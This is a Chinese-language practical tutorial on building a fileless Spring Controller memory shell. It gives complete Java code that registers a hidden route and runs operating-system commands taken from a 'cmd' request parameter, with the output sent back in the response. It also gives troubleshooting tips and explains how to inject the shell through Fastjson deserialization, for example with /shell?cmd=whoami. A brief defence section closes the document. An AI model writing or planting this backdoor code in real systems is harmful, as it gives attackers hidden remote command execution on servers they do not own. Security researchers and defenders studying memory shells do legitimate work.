实战分享!spring内存马(Controller)构造
字数 1618 2025-08-10 19:49:05
Spring内存马(Controller)构造实战教学
一、Spring运行机制分析
-
请求处理流程:
- 调用栈顺序:run → process → service → invoke → dofilter → service → spring处理 → doDispatch
DispatcherServlet类的doDispatch方法是处理web请求的核心- 使用
handle()处理request和response,并通过mappedHandler.getHandler()获取Handler
-
HandlerMapping机制:
handlerMappings(处理器映射)遍历处理请求AbstractHandlerMethodMapping提供MappingRegistry添加路由mappingRegistry存储路由信息,使用读写锁控制并发访问
-
路由匹配过程:
- 通过
lookupHandlerMethod()匹配请求 - 如果
directPathMatches不为null,调用addMatchingMappings()添加路由 - 每个
RequestMappingInfo与request匹配,匹配成功则创建Match对象
- 通过
二、内存马构造原理
-
核心思路:
- 向
mappingRegistry动态添加恶意路由 - 使用
RequestMappingHandlerMapping的registerMapping方法注册 - 需要获取
WebApplicationContext对象
- 向
-
关键类:
AbstractHandlerMethodMapping:抽象类,提供路由注册基础RequestMappingHandlerMapping:实现类,可实例化进行注册RequestMappingInfo:定义路由信息PatternsRequestCondition:定义URL路径匹配RequestMethodsRequestCondition:定义HTTP方法
三、内存马实现步骤
1. 获取WebApplicationContext
// 方法1(推荐)
WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 方法2
WebApplicationContext context = RequestContextUtils.getWebApplicationContext(
((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
2. 构造恶意Controller
// 获取RequestMappingHandlerMapping实例
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 获取目标方法
Method method = Evil.class.getMethod("test");
// 构造路由条件
PatternsRequestCondition url = new PatternsRequestCondition("/malicious");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 创建RequestMappingInfo
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 创建处理对象
Evil injectToController = new Evil("constructorParam");
// 注册恶意controller
mappingHandlerMapping.registerMapping(info, injectToController, method);
3. 命令执行实现
public void test() throws IOException {
HttpServletRequest request = ((ServletRequestAttributes)(RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes)(RequestContextHolder.currentRequestAttributes())).getResponse();
String cmd = request.getParameter("cmd");
if(cmd != null) {
boolean isLinux = !System.getProperty("os.name").toLowerCase().contains("win");
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
response.getWriter().close();
}
}
四、完整内存马示例
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.Scanner;
public class SpringMemoryShell {
public SpringMemoryShell() throws Exception {
// 获取WebApplicationContext
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes()
.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 获取RequestMappingHandlerMapping
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 获取目标方法
Method method = SpringMemoryShell.class.getMethod("exec");
// 构造路由条件
PatternsRequestCondition url = new PatternsRequestCondition("/shell");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 创建RequestMappingInfo
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 注册恶意controller
mappingHandlerMapping.registerMapping(info, this, method);
}
// 空构造方法用于实例化
private SpringMemoryShell(String param) {}
public void exec() throws IOException {
HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getResponse();
String cmd = request.getParameter("cmd");
if(cmd != null) {
boolean isLinux = !System.getProperty("os.name").toLowerCase().contains("win");
String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
response.getWriter().close();
}
}
}
五、注意事项与问题解决
-
版本兼容性问题:
- Spring Boot版本过高可能导致注入失败
- 推荐使用Spring Boot 2.4.5及以下版本
-
Context获取问题:
- Root Context和Child Context的区别:
- Root Context无法访问Child Context中定义的bean
- Child Context可以访问Root Context中定义的bean
- 在DispatcherServlet中,RequestMappingHandlerMapping实例bean通常存在于Child WebApplicationContext中
- Root Context和Child Context的区别:
-
常见错误解决:
- 获取WebApplicationContext失败:
// 尝试多种获取方式 WebApplicationContext context1 = (WebApplicationContext)RequestContextHolder.currentRequestAttributes() .getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0); WebApplicationContext context2 = RequestContextUtils.getWebApplicationContext( ((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()); - 命令执行乱码问题:
// 针对不同系统设置不同编码 if (System.getProperty("os.name").toLowerCase().contains("win")) { builder = new ProcessBuilder(new String[]{"cmd.exe","/c",code}); bufrIn = new BufferedReader(new InputStreamReader(start.getInputStream(), Charset.forName("GBK"))); } else { builder = new ProcessBuilder(new String[]{"/bin/sh","-c",code}); bufrIn = new BufferedReader(new InputStreamReader(start.getInputStream(), Charset.forName("UTF-8"))); }
- 获取WebApplicationContext失败:
六、实战利用场景
-
Fastjson漏洞利用:
- 配合Fastjson 1.2.24等存在反序列化漏洞的版本
- 构造恶意类实现内存马注入
-
内存马特点:
- 无文件落地
- 直接注入到内存中
- 重启后失效
-
利用流程:
- 首先访问注入端点(如/inject)
- 然后访问注册的恶意路由(如/shell?cmd=whoami)
七、防御建议
-
检测与防护:
- 监控动态注册的Controller
- 检查不寻常的路由映射
- 使用安全防护设备检测异常行为
-
最佳实践:
- 及时升级Spring框架版本
- 限制反序列化操作
- 实施最小权限原则
-
应急响应:
- 重启应用可清除内存马
- 检查应用是否有未授权访问漏洞
- 审计代码是否存在反序列化风险点
通过以上详细分析,我们可以深入理解Spring内存马的构造原理和实现方式,同时也能更好地防御此类攻击。